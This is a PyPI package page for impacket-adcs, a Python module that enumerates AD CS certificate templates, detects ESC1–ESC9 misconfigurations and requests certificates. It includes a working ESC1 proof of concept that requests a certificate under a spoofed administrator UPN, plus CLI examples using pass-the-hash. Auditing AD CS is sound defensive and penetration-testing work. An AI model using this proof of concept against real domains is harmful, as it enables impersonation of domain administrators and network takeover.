Skip to main content

Active Directory Certificate Services (AD CS) enumeration, vulnerability analysis, and certificate request module for Impacket

Project description

impacket-adcs

Active Directory Certificate Services (AD CS) enumeration, analysis, and certificate request module for the Impacket ecosystem.


Overview

This module provides:

  • LDAP-based enumeration of CA enrollment services and certificate templates
  • Vulnerability analysis covering ESC1–ESC9 classes (SpecterOps "Certified Pre-Owned")
  • Certificate request engine via MS-ICPR RPC and HTTP Web Enrollment
  • Structured reporting in text, Markdown, and JSON formats
  • Clean Python API following Impacket's module conventions

Installation

pip install impacket-adcs
# or from source:
git clone https://github.com/MrHarshvardhan/impacket-adcs
cd impacket-adcs
pip install -e ".[dev]"

Quick Start

Command-line

# Password auth
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01.corp.local

# NTLM hash
python examples/adcs_enum.py corp.local/jdoe@dc01 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# Kerberos (reads from KRB5CCNAME)
python examples/adcs_enum.py corp.local/jdoe@dc01 -k -no-pass

# Output to Markdown report
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01 -output report -format markdown

# Show only vulnerable objects
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01 -vuln-only

# JSON output (pipe to jq)
python examples/adcs_enum.py corp.local/jdoe:Password1@dc01 -format json | jq .findings

Python API

from impacket.ldap import ldap
from impacket_adcs import ADCSEnumerator, ADCSAnalyzer, ADCSReporter

# 1. Authenticate
conn = ldap.LDAPConnection('ldap://dc01.corp.local', 'dc=corp,dc=local')
conn.login('jdoe', 'Password1', 'corp.local')

# 2. Enumerate
enumerator = ADCSEnumerator(conn, 'corp.local')
snapshot = enumerator.enumerate()

# 3. Analyze
analyzer = ADCSAnalyzer()
analyzer.analyze(snapshot)

# 4. Report
reporter = ADCSReporter(snapshot)
print(reporter.to_text())
reporter.save('adcs_findings.md', fmt='markdown')
reporter.save('adcs_findings.json', fmt='json')

Certificate Request (ESC1 PoC)

from impacket.dcerpc.v5 import transport, icpr
from impacket_adcs import CertificateRequester

# Set up RPC transport
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:DC01[\pipe\cert]')
rpctransport.set_credentials('jdoe', 'Password1', 'corp.local')
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(icpr.MSRPC_UUID_ICPR)

# Request cert with spoofed UPN (ESC1)
requester = CertificateRequester(dce_connection=dce)
key_pem, cert_pem = requester.request_certificate(
    ca_name='corp-DC01-CA',
    template='VulnerableTemplate',
    subject='CN=jdoe',
    san_upn='administrator@corp.local',   # ESC1: arbitrary UPN
)

with open('admin.key', 'wb') as f: f.write(key_pem)
with open('admin.crt', 'wb') as f: f.write(cert_pem)
print("[+] Certificate issued for administrator@corp.local")

Vulnerability Coverage

Class Description Severity
ESC1 Enrollee-supplied SAN + auth EKU + low enroll rights CRITICAL
ESC2 Any Purpose EKU or no EKU HIGH
ESC3 Enrollment Agent template accessible to low-priv users HIGH
ESC4 Template ACL grants write to low-priv principal HIGH
ESC6 CA allows user-specified SAN (EDITF_ATTRIBUTESUBJECTALTNAME2) CRITICAL
ESC7 CA ACL grants ManageCA/ManageCertificates to low-priv users HIGH
ESC8 HTTP Web Enrollment endpoint vulnerable to NTLM relay HIGH
ESC9 Certificate lacks NTDS CA Security Extension MEDIUM

ESC5, ESC10, ESC11, and ESC13 are not yet implemented (contributions welcome).


Architecture

impacket_adcs/
├── __init__.py          # Public API surface
├── constants.py         # OIDs, bitmasks, LDAP attribute names
├── structures.py        # Dataclasses: CertificateTemplate, CertificateAuthority, etc.
├── enumerator.py        # LDAP-based discovery (ADCSEnumerator)
├── analyzer.py          # ESC vulnerability detection (ADCSAnalyzer)
├── requester.py         # Certificate enrollment via RPC/HTTP (CertificateRequester)
└── reporter.py          # Text/Markdown/JSON output (ADCSReporter)

examples/
└── adcs_enum.py         # CLI entry point

tests/
└── test_analyzer.py     # Unit tests (pytest, no AD required)

Running Tests

pip install pytest
python -m pytest tests/ -v

All tests are offline — no Active Directory connection required.


Protocol References

  • [MS-WCCE]: Windows Client Certificate Enrollment Protocol
  • [MS-ICPR]: ICertPassage Remote Protocol
  • [MS-ADTS]: Active Directory Technical Specification, section 3.1.1.5 (PKI objects)
  • [MS-CRTD]: Certificate Templates Structure, sections 2.27–2.28
  • RFC 5280: Internet X.509 PKI Certificate and CRL Profile
  • SpecterOps "Certified Pre-Owned" (Schroeder & Christensen, 2021)

Relationship to Existing Tools

This module complements rather than replaces existing tools:

Tool Language Protocol This module's advantage
Certipy Python LDAP+RPC Impacket-native integration
Certify C# (.NET) LDAP+DCOM Pure Python, no .NET
PSPKIAudit PowerShell ADCS API Remote, no PS execution

Contributing

Contributions welcome. Priority areas:

  1. ESC5, ESC10, ESC11, ESC13 detection
  2. Full CMC request wrapping for ESC3 (PKCS#7 SignedData)
  3. SID-to-name resolution via LDAP
  4. LDAPS support
  5. Kerberos PKINIT post-exploitation module (separate PR)

Please follow Impacket's contribution guidelines and include tests for all new ESC checks.


Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

impacket_adcs-0.1.0.tar.gz (34.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

impacket_adcs-0.1.0-py3-none-any.whl (32.4 kB view details)

Uploaded Python 3

File details

Details for the file impacket_adcs-0.1.0.tar.gz.

File metadata

  • Download URL: impacket_adcs-0.1.0.tar.gz
  • Upload date:
  • Size: 34.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.12

File hashes

Hashes for impacket_adcs-0.1.0.tar.gz
Algorithm Hash digest
SHA256 2e6805b04f17a85a9b4a91b8bff308c2f45e798e43c08d7c1e2a83aee5981684
MD5 deb8383e4544a84b79346a73a45b7fb8
BLAKE2b-256 7aa5c5298c92f7ab65fe4336b6d566e9c4279a5bc054fbb68b50794e3618b5a2

See more details on using hashes here.

File details

Details for the file impacket_adcs-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: impacket_adcs-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 32.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.12

File hashes

Hashes for impacket_adcs-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 4ac2c3f7c5813550e8dde4529425b36637d9b644b2e6d9454e90d63946042209
MD5 43088be1fb474347fe83e2bbf35ab0a6
BLAKE2b-256 0ea886bb3db01a1698cd67cca84b55cb92f7ee19300d6901a98f172bfaa0d30f

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page